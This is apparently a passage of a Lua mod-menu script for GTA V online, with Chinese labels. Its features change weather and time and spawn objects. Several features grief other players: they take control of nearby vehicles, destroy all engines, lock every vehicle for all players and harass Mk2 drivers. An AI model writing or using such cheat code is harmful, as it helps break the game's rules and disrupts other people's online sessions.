    local vehPointers = entities.get_all_vehicles_as_pointers()
    removeValues(vehPointers, markedTrains)

    for i = 1, #vehPointers do
        local vehHash = entities.get_model_hash(vehPointers[i])
        if VEHICLE.GET_VEHICLE_CLASS_FROM_NAME(vehHash) == 21 then
            if notifications then
                util.toast('Marked train')
            end
            table.insert(markedTrains, vehPointers[i])
            local blip = HUD.ADD_BLIP_FOR_ENTITY(entities.pointer_to_handle(vehPointers[i]))
            HUD.SET_BLIP_COLOUR(blip, 58)
            table.insert(markedTrainBlips, blip)
        end
    end
    wait(100)
end, function()
    for i = #markedTrainBlips, 1, -1 do
        util.remove_blip(markedTrainBlips[i])
        markedTrainBlips[i] = nil
        markedTrains[i] = nil
    end
end)

GTAC(trainsasd, "寻找列车",{""}, "", function()
    for _, veh in pairs(entities.get_all_vehicles_as_pointers()) do 
        if entities.get_model_hash(veh) == util.joaat("freight") then
            local c = entities.get_position(veh)
            ENTITY.SET_ENTITY_COORDS(players.user_ped(), c.x, c.y, c.z)
            return 
        end
    end
    util.toast("找不到火车")
end)


fireworks_root = GT(lobbyFeats, "烟花选项", {}, "")
tianqi = GT(lobbyFeats, "天气更改", {}, "")
shijian = GT(lobbyFeats, "时间更改", {}, "")

qiuqiu = GT(lobbyFeats, '生成球体', {}, '在花园银行上方生成一个巨大的圆球\n如无法清除请使用超级清除')

pedsasd = GT(lobbyFeats, 'NPC选项', {'JSpeds'}, '')  
for i = 1, #pedToggleLoops do
    GTLP(pedsasd, pedToggleLoops[i].name, {pedToggleLoops[i].command}, pedToggleLoops[i].description, function()
        local pedHandles = entities.get_all_peds_as_handles()
        for j = 1, #pedHandles do
            pedToggleLoops[i].action(pedHandles[j])
        end
        wait(10)
    end, function()
        if pedToggleLoops[i].onStop then pedToggleLoops[i].onStop() end
    end)
end

GTLP(pedsasd, '杀死车主', {'JSkillJackedPeds'}, '抢车的时候自动杀死驾驶载具的NPC', function(toggle)
    if not PED.IS_PED_JACKING(players.user_ped()) then return end
    local jackedPed = PED.GET_JACK_TARGET(players.user_ped())
    wait(100)
    ENTITY.SET_ENTITY_HEALTH(jackedPed, 0, 0)
end)

GTTG(pedsasd, '暴动模式', {'JSriot'}, '使附近的NPC充满敌意', function(toggle)
    MISC.SET_RIOT_MODE_ENABLED(toggle)
end)

GTAC(fireworks_root, "放烟花盒", {"placefireworks"}, "模仿已删除的线上功能-放置烟花盒", function(click_type)
    placefirework()
end)

GTAC(fireworks_root, "放烟花", {"kaboom"}, "点燃所有放好的烟花", function(click_type)
    fireworkshow()
end)

    local firw = {speed = 1000}
    GTLP(fireworks_root, '看烟花', {''}, '', function ()
          local targets = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PlayerID)
          local tar1 = ENTITY.GET_ENTITY_COORDS(targets, true)
          local weap = util.joaat('weapon_firework')
          WEAPON.REQUEST_WEAPON_ASSET(weap)
          for y = 0, 1 do
            MISC.SHOOT_SINGLE_BULLET_BETWEEN_COORDS(tar1.x, tar1.y, tar1.z + 4.0, tar1.x - math.random(-100, 100), tar1.y - math.random(-100, 100), tar1.z + math.random(0, 0), 200, 0, weap, 0, false, false, firw.speed)
            MISC.SHOOT_SINGLE_BULLET_BETWEEN_COORDS(tar1.x, tar1.y, tar1.z + 4.0, tar1.x + math.random(-100, 100), tar1.y + math.random(-100, 100), tar1.z + math.random(0, 0), 200, 0, weap, 0, false, false, firw.speed)
            FIRE.ADD_EXPLOSION(tar1.x + math.random(-100, 100), tar1.y + math.random(-100, 100), tar1.z + math.random(0, 100), 38, 1, false, false, 0, false)
            FIRE.ADD_EXPLOSION(tar1.x - math.random(-100, 100), tar1.y - math.random(-100, 100), tar1.z + math.random(0, 100), 38, 1, false, false, 0, false) 
        end


          if not PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PlayerID) then
              util.stop_thread()
          end
      end)

GTLP(fireworks_root, "循环放烟花", {}, "在您头上循环放烟花", function()
    local coords = players.get_position(players.user())
    local playerPed = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(players.user())
    MISC.SHOOT_SINGLE_BULLET_BETWEEN_COORDS(coords.x, coords.y, coords.z+1, coords.x, coords.y, coords.z+10, 1, true, 2138347493, playerPed, true, false, 50)
    wait(100)
end)

local InSession = function() return util.is_session_started() and not util.is_session_transition_active() end
GTLP(tianqi,"保持天气明朗",{},"请勿与Stand里的气象共同使用\n请选择其一使用",function()
    if InSession() then
        menu.trigger_commands("weather extrasunny")
    else
        menu.trigger_commands("weather normal")
    end
    wait(100)
end, function()
    menu.trigger_commands("weather normal")
end)

GTAC(tianqi, '默认', {""}, '', function ()
menu.trigger_commands("weather normal")
end)
GTAC(tianqi, '阳光明媚', {""}, '', function ()
menu.trigger_commands("weather extrasunny")
end)
GTAC(tianqi, '晴朗', {""}, '', function ()
menu.trigger_commands("weather clear")
end)
GTAC(tianqi, '多云', {""}, '', function ()
menu.trigger_commands("weather clouds")
end)
GTAC(tianqi, '环境污染', {""}, '', function ()
menu.trigger_commands("weather smog")
end)
GTAC(tianqi, '雾天', {""}, '', function ()
menu.trigger_commands("weather foggy")
end)
GTAC(tianqi, '阴天', {""}, '', function ()
menu.trigger_commands("weather overcast")
end)
GTAC(tianqi, '雨天', {""}, '', function ()
menu.trigger_commands("weather rain")
end)
GTAC(tianqi, '雷雨天', {""}, '', function ()
menu.trigger_commands("weather thunder")
end)
GTAC(tianqi, '雨晴天', {""}, '', function ()
menu.trigger_commands("weather clearing")
end)
GTAC(tianqi, '室温天气', {""}, '', function ()
menu.trigger_commands("weather neutral")
end)
GTAC(tianqi, '雪天', {""}, '', function ()
menu.trigger_commands("weather snow")
end)
GTAC(tianqi, '暴风雪', {""}, '', function ()
menu.trigger_commands("weather blizzard")
end)
GTAC(tianqi, '雪雾天', {""}, '', function ()
menu.trigger_commands("weather snowlight")
end)
GTAC(tianqi, '圣诞节', {""}, '', function ()
menu.trigger_commands("weather snowlight")
end)
GTAC(tianqi, '万圣节', {""}, '', function ()
menu.trigger_commands("weather halloween")
end)

GTAC(shijian, '中午', {""}, '', function ()
menu.trigger_commands("time 12")
end)
GTAC(shijian, '清晨', {""}, '', function ()
menu.trigger_commands("time 6")
end)
GTAC(shijian, '午夜', {""}, '', function ()
menu.trigger_commands("time 0")
end)
GTAC(shijian, '傍晚', {""}, '', function ()
menu.trigger_commands("time 18")
end)


GTLP(allevent, "打雷", {""}, "闪电生成", function()
MISC.FORCE_LIGHTNING_FLASH()
end)

world_lol = GT(lobbyFeats, '世界玩乐', {}, '')
--
GTLP(world_lol, "世界毁灭", {""}, "切记:不要坐在车里\n被少数优质菜单阻挡", function(on)
	local vehicle = entities.get_all_vehicles_as_handles()
	local me = players.user()  
	local maxspeed = 540
	local ct = 0
    for k,ent in pairs(entities.get_all_vehicles_as_handles()) do
        NETWORK.NETWORK_REQUEST_CONTROL_OF_ENTITY(ent)
        VEHICLE.SET_VEHICLE_FORWARD_SPEED(ent, 200000000)
        ct = ct + 1
    end
end)

GTLP(world_lol,"彩虹载具", {""}, "", function()
    for k, veh in pairs(entities.get_all_vehicles_as_handles()) do
        NETWORK.NETWORK_REQUEST_CONTROL_OF_ENTITY(veh)
        VEHICLE.SET_VEHICLE_CUSTOM_PRIMARY_COLOUR(veh, math.random(0, 255), math.random(0, 255), math.random(0, 255), chrome)
        VEHICLE.SET_VEHICLE_CUSTOM_SECONDARY_COLOUR(veh, math.random(0, 255), math.random(0, 255), math.random(0, 255), chrome)
        VEHICLE.SET_VEHICLE_XENON_LIGHT_COLOR_INDEX(veh, math.random(0, 255), math.random(0, 255), math.random(0, 255))
        DECORATOR.DECOR_SET_INT(vehicle, "MPBitset", math.random(0, 50))
        VEHICLE.TOGGLE_VEHICLE_MOD(vehicle, math.random(17, 22), true)
        VEHICLE.SET_VEHICLE_MOD_KIT(vehicle, math.random(0, 49))
        VEHICLE.SET_VEHICLE_WINDOW_TINT(veh, math.random(0, 6))
        VEHICLE.SET_VEHICLE_WHEEL_TYPE(veh, math.random(0, 5))
        VEHICLE.SET_VEHICLE_MOD(vehicle, math.random(0, 49))
        VEHICLE.SET_VEHICLE_NUMBER_PLATE_TEXT(veh, "Addict")
    end
end)

meteors = false
GTTG(world_lol, "陨石掉落", {""}, "", function(on)
    if on then
        meteors = true
        start_meteor_shower()
    else
        meteors = false
    end
end, false)

GTLP(world_lol, "下狗屎雨",{""}, "天上掉下一堆臭臭", function()
    goushi = 0
        local hash = util.joaat("prop_big_shit_02")
           request_model_load(hash)
              if goushi <= 15 then 
                 local c = WIRI_ENTITY.GET_OFFSET_FROM_ENTITY_IN_WORLD_COORDS(players.user_ped(), math.random(-20, 20), math.random(-20, 20), math.random(20, 20))
                     local goushis = entities.create_object(hash, c)
                     ENTITY.FREEZE_ENTITY_POSITION(goushis, false)
                  ENTITY.SET_ENTITY_DYNAMIC(goushis, true)
                ENTITY.APPLY_FORCE_TO_ENTITY(goushis, 1, math.random(-20, 20), math.random(-20, 20), -20, 0, 0, 0, 0, true, false, true, true, true)
             end
        wait(500)
    end)
    
    GTLP(world_lol, "下核弹雨",{""}, "无法爆炸的核弹模型", function()
    goushi = 0
        local hash = util.joaat("tr_prop_tr_military_pickup_01a")
           request_model_load(hash)
              if goushi <= 15 then 
                 local c = WIRI_ENTITY.GET_OFFSET_FROM_ENTITY_IN_WORLD_COORDS(players.user_ped(), math.random(-30, 30), math.random(-30, 30), math.random(30, 30))
                     local goushis = entities.create_object(hash, c)
                     ENTITY.FREEZE_ENTITY_POSITION(goushis, false)
                  ENTITY.SET_ENTITY_DYNAMIC(goushis, true)
                ENTITY.APPLY_FORCE_TO_ENTITY(goushis, 1, math.random(-30, 30), math.random(-30, 30), -30, 0, 0, 0, 0, true, false, true, true, true)
             end
        wait(500)
    end)
    
	 dont_stop = false
	GTLP(world_lol,"控制附近车辆", {"vehflyall"}, "如何控制?-WASD", function()
		for k, veh in pairs(entities.get_all_vehicles_as_handles()) do
			local PedInSeat = VEHICLE.GET_PED_IN_VEHICLE_SEAT(veh, -1, false)
			if not PED.IS_PED_A_PLAYER(PedInSeat) then
				NETWORK.NETWORK_REQUEST_CONTROL_OF_ENTITY(veh)
				cam_pos = CAM.GET_GAMEPLAY_CAM_ROT(0)
    			ENTITY.SET_ENTITY_ROTATION(veh, cam_pos.x, cam_pos.y, cam_pos.z, 1, true);
				local locspeed = speed*10
				local locspeed2 = speed
				if PAD.IS_CONTROL_PRESSED(0, 61) then
					locspeed = locspeed*2
					locspeed2 = locspeed2*2
				end
				if PAD.IS_CONTROL_PRESSED(2, 71) then
					if dont_stop then
						ENTITY.APPLY_FORCE_TO_ENTITY(veh, 1, 0.0, speed, 0.0, 0.0, 0.0, 0.0, 0, 1, 1, 1, 0, 1)
					else 
						VEHICLE.SET_VEHICLE_FORWARD_SPEED(veh, locspeed)
					end
				end
				if PAD.IS_CONTROL_PRESSED(2, 72) then
					local lsp = speed
					if not PAD.IS_CONTROL_PRESSED(0, 61) then 
						lsp = speed * 2
					end
					if dont_stop then
						ENTITY.APPLY_FORCE_TO_ENTITY(veh, 1, 0.0, 0 - (lsp), 0.0, 0.0, 0.0, 0.0, 0, 1, 1, 1, 0, 1)
					else 
						VEHICLE.SET_VEHICLE_FORWARD_SPEED(veh, 0 - (locspeed));
					end
			   end
				if PAD.IS_CONTROL_PRESSED(2, 63) then
					local lsp = (0 - speed)*2
					if not PAD.IS_CONTROL_PRESSED(0, 61) then 
						lsp = 0 - speed
					end
					if dont_stop then
						ENTITY.APPLY_FORCE_TO_ENTITY(veh, 1, (lsp), 0.0, 0.0, 0.0, 0.0, 0.0, 0, 1, 1, 1, 0, 1)
					else 
						ENTITY.APPLY_FORCE_TO_ENTITY(veh, 1, 0 - (locspeed), 0.0, 0.0, 0.0, 0.0, 0.0, 0, 1, 1, 1, 0, 1);
					end
				end
				if PAD.IS_CONTROL_PRESSED(2, 64) then
					local lsp = speed
					if not PAD.IS_CONTROL_PRESSED(0, 61) then 
						lsp = speed*2
					end
					if dont_stop then
						ENTITY.APPLY_FORCE_TO_ENTITY(veh, 1, lsp, 0.0, 0.0, 0.0, 0.0, 0.0, 0, 1, 1, 1, 0, 1)
					else 
						ENTITY.APPLY_FORCE_TO_ENTITY(veh, 1, locspeed, 0.0, 0.0, 0.0, 0.0, 0.0, 0, 1, 1, 1, 0, 1)
					end
				end
				if not dont_stop and not PAD.IS_CONTROL_PRESSED(2, 71) and not PAD.IS_CONTROL_PRESSED(2, 72) then
					VEHICLE.SET_VEHICLE_FORWARD_SPEED(veh, 0.0);
				end
			end
		end
	end)

	GTLP(world_lol,"鸣笛所有汽车", {"honkallcars"}, "", function(on)
		for k, veh in pairs(entities.get_all_vehicles_as_handles()) do
			local PedInSeat = VEHICLE.GET_PED_IN_VEHICLE_SEAT(veh, -1, false)
			local locspeed2 = speed
        			local holecoords = ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid), true)
			if not PED.IS_PED_A_PLAYER(PedInSeat) then
				NETWORK.NETWORK_REQUEST_CONTROL_OF_ENTITY(veh)
	      ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(bh_target), true)
                        vcoords = ENTITY.GET_ENTITY_COORDS(veh, true)
                        VEHICLE.START_VEHICLE_HORN(veh, 200, util.joaat("HELDDOWN"), true)
	      if not dont_stop and not PAD.IS_CONTROL_PRESSED(2, 71) and not PAD.IS_CONTROL_PRESSED(2, 72) then
	      VEHICLE.SET_VEHICLE_FORWARD_SPEED(veh, 0.0);
				end
			end
		end
	end)

	GTAC(world_lol, "移除方向盘", {"removewheels"}, "", function()
		local veh = entities.get_user_vehicle_as_handle()
		if veh ~= 0 then
			native_invoker.begin_call()
			native_invoker.push_arg_int(veh)
			native_invoker.push_arg_float(3.402823466e+38)
			native_invoker.end_call("93A3996368C94158")
		end
	end)

	GTAC(world_lol,"破坏所有引擎", {"killall"}, "",function()
		local local_veh = get_player_veh(PLAYER.PLAYER_ID(),false)
		for_table_do(entities.get_all_vehicles_as_handles(),true,function(ent) 
			if ent == local_veh then return end
			VEHICLE.SET_VEHICLE_ENGINE_HEALTH(ent, -4000)
			VEHICLE.SET_VEHICLE_BODY_HEALTH(ent, -4000)
			VEHICLE.SET_VEHICLE_PETROL_TANK_HEALTH(ent, -4000)
		end)
	end)

	GTLP(world_lol, "所有车辆遁地", {"sinkcars"}, "", function(on_toggle)
		for k, veh in pairs(entities.get_all_vehicles_as_handles()) do
			local PedInSeat = VEHICLE.GET_PED_IN_VEHICLE_SEAT(veh, -1, false)
			local locspeed2 = speed
        			local holecoords = ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid), true)
			if not PED.IS_PED_A_PLAYER(PedInSeat) then
				NETWORK.NETWORK_REQUEST_CONTROL_OF_ENTITY(veh)
	      ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(bh_target), true)
                        vcoords = ENTITY.GET_ENTITY_COORDS(veh, true)
                        VEHICLE.SET_DISABLE_MAP_COLLISION(veh, vcoords, true)
	      if not dont_stop and not PAD.IS_CONTROL_PRESSED(2, 71) and not PAD.IS_CONTROL_PRESSED(2, 72) then
	      VEHICLE.SET_VEHICLE_FORWARD_SPEED(veh, 0.0);
				end
			end
		end
	end)

GTTG(world_lol, "世界停电", {"poweroutage"}, "", function(toggled)
    GRAPHICS.SET_ARTIFICIAL_LIGHTS_STATE(toggled)
end)

GTTG(world_lol, "世界停电V2", {"blackout"}, "", function(toggled)
    menu.trigger_commands("time 1")
    GRAPHICS.SET_ARTIFICIAL_LIGHTS_STATE(toggled)
    if toggled then
        GRAPHICS.SET_TIMECYCLE_MODIFIER("dlc_island_vault")
    else
        GRAPHICS.SET_TIMECYCLE_MODIFIER("DEFAULT")
    end
end)

GTLP(world_lol, "惹恼Mk2玩家", {"annoymk2"}, "", function()
    for _, pid in players.list(false, true, true) do
        local ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
        local veh = PED.GET_VEHICLE_PED_IS_IN(ped, false)
        if HUD.GET_BLIP_SPRITE(HUD.GET_BLIP_FROM_ENTITY(ped)) == 639 then
            VEHICLE.SET_VEHICLE_HOMING_LOCKEDONTO_STATE(veh, 1)
    end
    end
end)

GTLP(world_lol, "锁定全部载具", {"lockall"}, "", function()
    for _, pid in players.list(false, true, true) do
        for _, vehicle in entities.get_all_vehicles_as_handles() do
            VEHICLE.SET_VEHICLE_DOORS_LOCKED_FOR_PLAYER(vehicle, pid, true) -- SET_VEHICLE_DOORS_LOCKED didn't want to work here
            wait()
        end
    end
end)

GTLP(world_lol, "投放炸弹",{"bowlingshower"}, "不断有炸弹从空中投放", function()
    local hash = util.joaat("imp_prop_bomb_ball")
    request_model_load(hash)
    if active_bowling_balls <= 15 then 
        local c = WIRI_ENTITY.GET_OFFSET_FROM_ENTITY_IN_WORLD_COORDS(players.user_ped(), math.random(-200, 200), math.random(-200, 200), math.random(100, 300))
        local ball = entities.create_object(hash, c)
        ENTITY.FREEZE_ENTITY_POSITION(ball, false)
        ENTITY.SET_ENTITY_DYNAMIC(ball, true)
        ENTITY.APPLY_FORCE_TO_ENTITY(ball, 1, math.random(-300, 300), math.random(-300, 300), -300, 0, 0, 0, 0, true, false, true, true, true)
        bomb_shower_tick_handler(ball)
    end
    wait(500)
end)

GTAC(world_lol, "你的勇士",{""}, "生成一个不断击杀附近NPC的保镖",function()
    local terror_model = util.joaat("s_m_y_xmech_02")
    request_model_load(terror_model)
    local terrorist = entities.create_ped(28, terror_model, ENTITY.GET_OFFSET_FROM_ENTITY_IN_WORLD_COORDS(players.user_ped(), 0, 1.0, 0.0), math.random(270))
    WEAPON.GIVE_WEAPON_TO_PED(terrorist, 171789620, 1000, false, true)
    PED.SET_PED_COMBAT_ABILITY(terrorist, 2)
    PED.SET_PED_AS_ENEMY(terrorist, true)
    PED.SET_PED_COMBAT_ATTRIBUTES(terrorist,13, true)
    while true do
        if PED.IS_PED_FATALLY_INJURED(terrorist) or not ENTITY.DOES_ENTITY_EXIST(terrorist) then 
            break 
        end
        local nearest = get_closest_ped_to_ped(ENTITY.GET_ENTITY_COORDS(terrorist), terrorist)
        TASK.CLEAR_PED_TASKS_IMMEDIATELY(terrorist)
        TASK.TASK_COMBAT_PED(terrorist, nearest[1])
        wait(5000)
    end
end)

    GTLP(world_lol, "下雨", {""}, "", function()
        local player_pos = players.get_position(players.user())
        request_ptfx_asset("core")
        GRAPHICS.USE_PARTICLE_FX_ASSET("core")
        GRAPHICS.START_NETWORKED_PARTICLE_FX_NON_LOOPED_AT_COORD(
            "water_boat_exit", player_pos.x, player_pos.y, player_pos.z+5, 0, 0, 0, 2.5, false, false, false)
    end)

rain_vehicles = false
GTTG(world_lol, "载具雨",{"rain_vehicles"}, "天上掉下一堆载具", function(on)
    rain_vehicles = on
    mod_uses("vehicle", if on then 1 else -1)
end)

rain_peds = false
GTTG(world_lol, "NPC雨",{"rain_peds"}, "天上掉下一堆NPC", function(on)
    rain_peds = on
    mod_uses("ped", if on then 1 else -1)
end)

bigasscircle = util.joaat("ar_prop_ar_neon_gate4x_04a")

GTTG(qiuqiu, "生成", {}, "", function(on)
    if on then
        STREAMING.REQUEST_MODEL(bigasscircle)
        while not STREAMING.HAS_MODEL_LOADED(bigasscircle) do
            STREAMING.REQUEST_MODEL(bigasscircle)
            wait()
        end
        c1 = entities.create_object(bigasscircle, v3(-75.14637, -818.67236, 326.1751)) 
        c2 = entities.create_object(bigasscircle, v3(-75.14637, -818.67236, 326.1751))
        c3 = entities.create_object(bigasscircle, v3(-75.14637, -818.67236, 326.1751))
        c4 = entities.create_object(bigasscircle, v3(-75.14637, -818.67236, 326.1751))
        c5 = entities.create_object(bigasscircle, v3(-75.14637, -818.67236, 326.1751))
        c6 = entities.create_object(bigasscircle, v3(-75.14637, -818.67236, 326.1751))
        c7 = entities.create_object(bigasscircle, v3(-75.14637, -818.67236, 326.1751))
        c8 = entities.create_object(bigasscircle, v3(-75.14637, -818.67236, 326.1751))
        c9 = entities.create_object(bigasscircle, v3(-75.14637, -818.67236, 326.1751))
        c10 = entities.create_object(bigasscircle, v3(-75.14637, -818.67236, 326.1751))
        c11 = entities.create_object(bigasscircle, v3(-75.14637, -818.67236, 326.1751))
        c12 = entities.create_object(bigasscircle, v3(-75.14637, -818.67236, 326.1751))
        c13 = entities.create_object(bigasscircle, v3(-75.14637, -818.67236, 326.1751))
        c14 = entities.create_object(bigasscircle, v3(-75.14637, -818.67236, 326.1751))
        c15 = entities.create_object(bigasscircle, v3(-75.14637, -818.67236, 326.1751))
        c16 = entities.create_object(bigasscircle, v3(-75.14637, -818.67236, 326.1751))
        c17 = entities.create_object(bigasscircle, v3(-75.14637, -818.67236, 326.1751))
        c18 = entities.create_object(bigasscircle, v3(-75.14637, -818.67236, 326.1751))
        c19 = entities.create_object(bigasscircle, v3(-75.14637, -818.67236, 326.1751))
        ENTITY.FREEZE_ENTITY_POSITION(c1, true)
        ENTITY.FREEZE_ENTITY_POSITION(c2, true)
        ENTITY.FREEZE_ENTITY_POSITION(c3, true)
        ENTITY.FREEZE_ENTITY_POSITION(c4, true)
        ENTITY.FREEZE_ENTITY_POSITION(c5, true)
        ENTITY.FREEZE_ENTITY_POSITION(c6, true)
        ENTITY.FREEZE_ENTITY_POSITION(c7, true)
        ENTITY.FREEZE_ENTITY_POSITION(c8, true)
        ENTITY.FREEZE_ENTITY_POSITION(c9, true)
        ENTITY.FREEZE_ENTITY_POSITION(c10, true)
        ENTITY.FREEZE_ENTITY_POSITION(c11, true)
        ENTITY.FREEZE_ENTITY_POSITION(c12, true)
        ENTITY.FREEZE_ENTITY_POSITION(c13, true)
        ENTITY.FREEZE_ENTITY_POSITION(c14, true)
        ENTITY.FREEZE_ENTITY_POSITION(c15, true)
        ENTITY.FREEZE_ENTITY_POSITION(c16, true)
        ENTITY.FREEZE_ENTITY_POSITION(c17, true)
        ENTITY.FREEZE_ENTITY_POSITION(c18, true)
        ENTITY.FREEZE_ENTITY_POSITION(c19, true)
        ENTITY.SET_ENTITY_ROTATION(c2, 0.0, 0.0, 10.0, 1, true)
        ENTITY.SET_ENTITY_ROTATION(c3, 0.0, 0.0, 20.0, 1, true)
        ENTITY.SET_ENTITY_ROTATION(c4, 0.0, 0.0, 30.0, 1, true)
        ENTITY.SET_ENTITY_ROTATION(c5, 0.0, 0.0, 40.0, 1, true)
        ENTITY.SET_ENTITY_ROTATION(c6, 0.0, 0.0, 50.0, 1, true)
        ENTITY.SET_ENTITY_ROTATION(c7, 0.0, 0.0, 60.0, 1, true)
        ENTITY.SET_ENTITY_ROTATION(c8, 0.0, 0.0, 70.0, 1, true)
        ENTITY.SET_ENTITY_ROTATION(c9, 0.0, 0.0, 80.0, 1, true)
        ENTITY.SET_ENTITY_ROTATION(c10, 0.0, 0.0, 90.0, 1, true)
        ENTITY.SET_ENTITY_ROTATION(c11, 0.0, 0.0, 100.0, 1, true)
        ENTITY.SET_ENTITY_ROTATION(c12, 0.0, 0.0, 110.0, 1, true)
        ENTITY.SET_ENTITY_ROTATION(c13, 0.0, 0.0, 120.0, 1, true)
        ENTITY.SET_ENTITY_ROTATION(c14, 0.0, 0.0, 130.0, 1, true)
        ENTITY.SET_ENTITY_ROTATION(c15, 0.0, 0.0, 140.0, 1, true)
        ENTITY.SET_ENTITY_ROTATION(c16, 0.0, 0.0, 150.0, 1, true)
        ENTITY.SET_ENTITY_ROTATION(c18, 0.0, 0.0, 160.0, 1, true)
        ENTITY.SET_ENTITY_ROTATION(c19, 0.0, 0.0, 170.0, 1, true)
        ENTITY.SET_ENTITY_COORDS(players.user_ped(), -75.14637, -818.67236, 326.1751)
    else
        entities.delete_by_handle(c1)
        entities.delete_by_handle(c2)
        entities.delete_by_handle(c3)
        entities.delete_by_handle(c4)
        entities.delete_by_handle(c5)
        entities.delete_by_handle(c6)
        entities.delete_by_handle(c7)
        entities.delete_by_handle(c8)
        entities.delete_by_handle(c9)
        entities.delete_by_handle(c10)
        entities.delete_by_handle(c11)
        entities.delete_by_handle(c12)
        entities.delete_by_handle(c13)
        entities.delete_by_handle(c14)
        entities.delete_by_handle(c15)
        entities.delete_by_handle(c16)
        entities.delete_by_handle(c17)
        entities.delete_by_handle(c18)
        entities.delete_by_handle(c19)
        end
    end)

island_block = 0
GTAC(world_lol, "空中平台", {""}, "", function(on_click)
    local c = {}
    c.x = 0
    c.y = 0
    c.z = 500
    PED.SET_PED_COORDS_KEEP_VEHICLE(players.user_ped(), c.x, c.y, c.z+5)
    if island_block == 0 or not ENTITY.DOES_ENTITY_EXIST(island_block) then
        request_model_load(1054678467)
        island_block = entities.create_object(1054678467, c)
    end
end)

GTLP(world_lol, "外星人入侵", {}, "", function(toggle)
    ufffo()
end)

GTTG(world_lol, "安全的战局", {}, "全战局幽灵", function(on)
	if on then
		for pid = 0,30 do
			if players.exists(pid) then
				NETWORK._SET_RELATIONSHIP_TO_PLAYER(pid,true)
			end
		end
	else
		for pid = 0,30 do
			if players.exists(pid) then
				NETWORK._SET_RELATIONSHIP_TO_PLAYER(pid,false)
			end
		end
	end 
end)

GTLP(world_lol, "跳跳车", {}, '附近的车辆蹦蹦跳跳', function(toggle)
    carjump()
end)

GTTG(world_lol, '同步时间', {'JSirlTime'}, '使游戏时间与您的现实时间相匹配. 请禁用Stand的时间 "平滑过渡".', function(toggle)
    iri_time(toggle)
end)

GTLP(world_lol, '禁用小键盘', {'JSdisableNumpad'}, '禁用小键盘,因此您在操作Stand时不会旋转您的飞机/潜艇', function()
    disableNumpad()
end)

GTluaScript.slider(lobbyFeats, '地图缩放级别', {'JSmapZoom'}, '', 1, 100, mapZoom, 1, function(value)
    Zoom_map(value)
end)

GTTG(world_lol, '启用脚印', {'JSfootSteps'}, '在所有表面上留下脚印.', function(toggle)
    GRAPHICS._SET_FORCE_PED_FOOTSTEPS_TRACKS(toggle)
end)

GTTG(world_lol, '启用车辆轨迹', {'JSvehicleTrails'}, '在所有表面上留下车辆的轨迹.', function(toggle)
    GRAPHICS._SET_FORCE_VEHICLE_TRAILS(toggle)
end)

GTLP(lobbyFeats, '禁用所有地图通知', {'JSnoMapNotifications'}, '自动删除那些不断发送的通知', function()
    HUD.THEFEED_HIDE_THIS_FRAME()
end)

Heist_Control_Load = menu.action(Heist_Control, "加载任务选项", {""}, "", function()
notification("正在加载任务功能", colors.pink)
wait(2000)
require "lib.GTSCRIPTS.GTW.C"
GTLuaScript.delete(Heist_Control_Load)
end)

require "lib.GTSCRIPTS.Q"

Constructor_Lua_Load = GT(Constructor_Lua, "模组选项1", {""}, "", function(); end)
require "lib.GTSCRIPTS.GTC.Constructor"

sc = GT(Constructor_Lua, "模组选项2")

GTD(sc, "载具")

GTAC(sc, "搜索载具模组", {"lssearchv"}, "", function(click_type)
    menu.show_command_box("lssearchv" .. " ")
    end, function(on_command)
        local results = search_vehicle(on_command)
        if #results == 0 then 
            util.toast("无搜索结果 :(")
        else
            menu.set_list_action_options(v_search_results_action, results)
            menu.trigger_commands("lsvsearchresults")
        end
end)

load_vehicle_action = GTLuaScript.list_action(sc, "加载模组载具", {}, "加载载具. " .. instruction_text, all_vehicles, function(index, value)
    local path = vehicles_dir .. '\\' .. value
    if util.is_key_down(0x10) and util.is_key_down(0x11) then
        os.remove(path)
        util.toast(value .. " 已删除! :)")
        get_all_vehicles_in_dir()
    elseif util.is_key_down(0x20) then 
        favorite_vehicle(value)
    else
        load_vehicle(vehicles_dir .. '\\' .. value)
    end
end)

loaded_vehicles_root = GT(sc, "已加载的载具", {"lancespoonerloadedvehicles"}, "你已经加载的载具")

GTD(sc, "地图")
GTAC(sc, "搜索地图模组", {"lssearchmap"}, "", function(click_type)
    menu.show_command_box("lssearchmap" .. " ")
    end, function(on_command)
        local results = search_map(on_command)
        if #results == 0 then 
            util.toast("无搜索结果 :(")
        else
            menu.set_list_action_options(m_search_results_action, results)
            menu.trigger_commands("lsmsearchresults")
        end
end)

load_map_action = GTLuaScript.list_action(sc, "加载XML地图", {}, "加载地图. " .. instruction_text, all_maps, function(index, value)
    local path = maps_dir .. '\\' .. value
    if util.is_key_down(0x10) and util.is_key_down(0x11) then
        os.remove(path)
        util.toast(value .. " 已删除! :)")
        get_all_maps_in_dir()
    elseif util.is_key_down(0x20) then 
        favorite_map(value)
    else
        load_map(path)
    end
end)
loaded_maps_root = GT(sc, "已加载的地图", {"lancespoonerloadedmaps"}, "你已经加载的地图")


GTD(sc, "收藏夹")

local load_favorite_vehicle_action = GTLuaScript.list_action(sc, "最爱的载具", {}, "加载载具.", favorite_vehicles, function(index, value)
    load_vehicle(vehicles_dir .. '\\' .. value)
end)

local load_favorite_map_action = GTLuaScript.list_action(sc, "最爱的地图", {}, "加载地图.", favorite_maps, function(index, value)
    load_map(maps_dir .. '\\' .. value)
end)


GTD(sc, "杂项")
v_search_results = {}
v_search_results_action = GTLuaScript.list_action(sc, "载具搜索结果", {"lsvsearchresults"}, "", v_search_results, function(index, value)
    local path = vehicles_dir .. '\\' .. value
    load_vehicle(path)
end)

m_search_results = {}
m_search_results_action = GTLuaScript.list_action(sc, "地图搜索结果", {"lsmsearchresults"}, "", m_search_results, function(index, value)
    local path = maps_dir .. '\\' .. value
    menyoo_load_map(path)
end)

function get_all_maps_in_dir()
    local temp_maps = {}
    local temp_favorite_maps = {}
    for i, path in ipairs(filesystem.list_files(maps_dir)) do
        if string.match(path:gsub(maps_dir, ''), '.xml') then
            temp_maps[#temp_maps + 1] = path:gsub(maps_dir, '')
            if string.startswith(path:gsub(maps_dir, ''), '[F]') then 
